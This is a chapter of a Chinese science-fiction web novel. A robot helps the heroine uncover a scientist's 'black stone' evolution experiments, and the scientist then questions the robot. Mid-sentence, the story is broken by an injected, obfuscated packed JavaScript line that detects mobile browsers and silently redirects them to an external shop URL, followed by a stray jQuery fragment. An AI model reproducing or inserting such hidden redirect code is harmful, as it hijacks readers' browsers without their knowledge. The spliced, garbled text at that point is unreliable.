Δ动了一下。
“哪个?”
他一边说着,一边用机械臂掠过小推车上所有的东西,经过令牌时似有似无地停了一下。
“剪子不能给你。”他继续说,“这个很危险,必须要在有人监控的情况下用才行。”
游叙用空着的另一只手摸出身上马芳兰给她的那块令牌。
“我不要剪子。”她低声说,把令牌放在床边,“能给我一包棉签吗?”
Δ若无其事地抓起令牌,和自己的那块交换,和棉签一块拿出来。
“这个可以。”他把令牌压在棉签之下,放在游叙枕边,“是哪里受伤了吗?我可以帮你处理。”
“不用,只是一点小擦伤。”游叙把那枚令牌紧紧握在手中,“这瓶药还要打多久?”
“两个小时。”Δ回答,“到时候我会再来。”
四十分钟后。
游叙从房间里走出来。
她看起来比刚来的时候更飘渺、苍白,因为肤色白且眼睛黑,看人时总有种莫名的惊悚感,就连经过她的黑衣安保人员都情不自禁按了一下腰间。
鞋子蹭过地面,发出沙沙的摩擦声。
她走进资料室,目标很明确,就是那台电子终端。
搜索框,搜索,“黑石”。
这次有结果!
黑石的来源和墨西拿说的一样,突然有一天出现在平原上,然后被她们发现,并把她们改造成了特西提。之后切里兹格勒的人就把它换走,最后几经流转,最后到了马芳兰手里。
这是三十年前的一份工作报告,落款是马芳兰。
游叙往后翻。
《利用黑石进行进化研究的可行性方案(初稿)》。
“……黑石的作用可能比我们预想的更大……对单细胞动物和无脊椎动物都表现出了很强的影响力,细胞变异速度是普通情况下的12倍,并且更惊人的是,其中有利于生物生存的变异方向占据76.9%,这完全打破了进化论的基本框架……”
“……实验室条件下,用以实验的两组小鼠表现出了惊人的差异,实验组更聪明、更强壮,但总是伴随癌症出现,我认为这是进化的负面作用之一,但完全有信心消除……我的学生游淡风提出了新的构想:黑石,可能并不完整……”
“……完整的黑石,可能能使人类绝症治愈、体质进化,造就更加美好的未来。”
……进化。
这,才是马芳兰的目的。
对,她一开始怎么会没想到这个。看到了特西提一族的变化,她想复刻简直是再自然不过的事。
但这和游叙又有什么关系?
她的目光落在方案的其中一行字上。
“黑石,并不完整。”
要怎么补全呢。
她。
她是补全黑石的材料。
游叙想起自从进入那托海以来马芳兰的所有举动。
试图杀死晏衡、隔绝外界、让她看到贝拉塞和切里兹格勒的新闻、调走虞安瑾……
她在孤立游叙。
这是补全黑石的必要方法吗?还是一种出于折磨材料的恶趣味?
游叙看了一眼时间,距离Δ给的期限还有五十分钟。
她继续往下滑。
《那托海基地工作日志(黑石)》。
2002年。
“……小鼠发生了可怕的癌变,肿瘤像第二个脑袋一样生在背上,本次实验宣告失败……”
2003年。
“……癌变现象有所减弱,但幅度比我们预想的低,变量需要调整,必须要补全黑石……”
2005年。
“……有一例小鼠完全没有出现癌变,身体出现二次发育,大脑是普通小鼠的1.2倍大,可惜最后死于外伤……猜测,是因为‘那孩子’接触了黑石……后续无法再复刻此实验……”
那孩子。
是她。
2007年。
“……黑石在治愈疾病上产生了出乎意料的影响,它似乎能分辨病变细胞和普通细胞……除了癌症之外,它对于基因也有某种程度的影响……”
2010年。
“……在异常物‘当扈’的辅助下,小鼠的癌变细胞消失了!这真是个惊人的发现,也许癌症治愈有望……下一步,需要更大体型的哺乳动物做实验……”
2014年。
“……在猴子身上开展的数次实验结果有好有坏,不能确定变量在哪,也许需要‘那孩子’再接触一次……”
2016年。
“……果然和‘那孩子’有关。”
2016年,是她第二次接触黑石。
游叙缓缓直起身,后背一片冰凉。
后面日志,直到今年,都是对绝症的研究的。
马芳兰没骗她。
黑石,果然……
那她自己的脑瘤呢?
究竟真的是倒霉,还是因为她是“黑石的一部分”?
距离Δ的期限还有十分钟,黑石已经搜不出更多信息,她取出令牌,紧紧攥在掌心里。
得赶紧回去了。
她得想想……
到底该怎么做。
赶回房间的时候,正好看到Δ远远走来。
两个人又进行了一番毫无营养的对话,Δ悄无声息地把令牌换了回来。
他推着小推车走出房间。
“Δ。”机械人的内置语音系统响起,是马芳兰,“来我办公室,汇报工作情况。”
Δ脚步一停。
“是。”
他把推车推回医务部,滑到马芳兰办公室门口。
敲门。
“进来。”
马芳兰坐在桌子前,正在翻一本科学期刊。
“Δ。”听到小机械人进来,她头也没抬,“开始汇报吧。”
Δ立正站好,语调平缓匀速地秃噜出一长串内容,堪比AI念稿,毫无波动起伏,想必应用到催眠领域应该十分有建树。
马芳兰缓缓把那本期刊放到桌上。
嗒。
Δ自动自觉地闭了嘴。
“你就没做点什么吗。”马芳兰终于抬起头来看他,“自己说,还是我来说?”
在做出来的那一刻Δ就已经想到了这种结果,因此连个电流波动也无,平平板板地回答,“主任,我不知道您在说什么。”
马芳兰盯着他的屏幕看了一会。
“我倒是没想到你们这一族竟然也会产生多余的怜悯。”她淡淡道,“你知道她用你的令牌去干嘛了吗?”
Δ纹丝不动,“不知道。”
“查了黑石计划。”马芳兰说,“比我想的还坚强……昨天受到了那么大的打击,居然还有行动力查这个,我都有点佩服她了。”
Δ没吭声。
他摸不准马芳兰究竟想做什么,干脆就装一无所知的铁坨子最安全。
但马芳兰竟然没多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17954434|206466||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
揪着这件事不放。
她转而问起了另外一个问题,“前两天她申请给外面打电话,后来怎么样了?”
Δ犹豫了一下,还是和盘托出,“第一个没打出去,后来她……对面又拨回来了,是我接的。她又打了第二个。”
“没问你这个。”马芳兰有点不耐烦,“我是问她的反应。”
“哦。”Δ老老实实地回答,“没什么反应。”
“没反应?”马芳兰挑眉,“不可能。”
“是真的。”Δ说,“真没什么反应。”
“……也是,她那样的孩子,就算有天大的痛苦也会咬碎牙齿咽下去,不会多说一句的。”说到这里时,马芳兰忽然声音低了下去,“真可怜。从小到大,一直很孤独吧。”
Δ没说话。
马芳兰似乎也察觉到自己失言,轻轻咳了一声。
“昨天长青那边联系了我,她家里人报警了。”她恢复了一贯的浅笑表情,“这个事有点难办哪。”
报警?
Δ回想了一下游远声回拨过来的电话。
……嗯,确实有可能。
“我虽然跟那边解释过,但毕竟不是一个系统,对方一直不依不饶的话也很麻烦。”马芳兰接着说道,“所以最后的处理意见是让她家里人来一趟,亲眼看看她的情况。”
Δ一惊,“可是,主任,不是说……”
马芳兰竖起手掌往前一推。
“这件事我已经决定了,这是最好的解决办法。总之,叫你过来是想把这件事也交给你。”
Δ彻底迷惑了。
“交给我的意思是……?”
“那个……是淡风的姐姐吧,叫游远声还是什么的,后天的飞机到,你开车去接一下,走的时候再把她送出去,就这么简单。”
Δ直觉这里面肯定还有什么,不得不追问,“但是如果她们要是说了什么……”
“说什么都无所谓。”马芳兰又捡起桌上那本期刊,“毕竟是……母女,呵呵,拦着骨肉重聚,岂非人伦?”
Δ知道事情已成定局,只好告辞退了出去。
他一边琢磨马芳兰的意图,一边回到充电桩上,刚连上外网想看看之前关注的周边开售了没,π鬼哭狼嚎的数据流已经先于推送信息传了过来。
“Δ!我们到那托海了!”
Δ吓了一跳,“这么快?”
“只是进入了戈壁,还没到基地的位置。游叙现在怎么样?”
Δ犹豫一下,还是大体告诉了他。
“什么?”π一惊,“可是贝拉塞受灾没那么严重……晏衡昨天才刚和埃莱奥诺拉通过话!”
Δ心里有了些不妙的预感。
“我觉得马主任想做些什么。”他说,“你们到了之后别太靠近基地以防被发现,我们随时联系。”
“好。”π回得很快,“哦,对了兄弟,还有个事,你帮我转达给游叙。”
“你说。”
“我拜托妈妈帮忙进去总部内网看了一圈。”大概是因为心虚,π的数据流都缩小了,“过几天,可能有人要去那托海调研情况。”
“调研?”
Δ想起最近确实隐隐听到风声说是可能有领导来检查,但没想到居然是总部。
“好,我知道了,你们小心。”
π退出频段,网络波动恢复正常。Δ亮起摄像头,往窗外瞥了一眼。
风暴还在呼呼刮着。
仿佛永无止歇。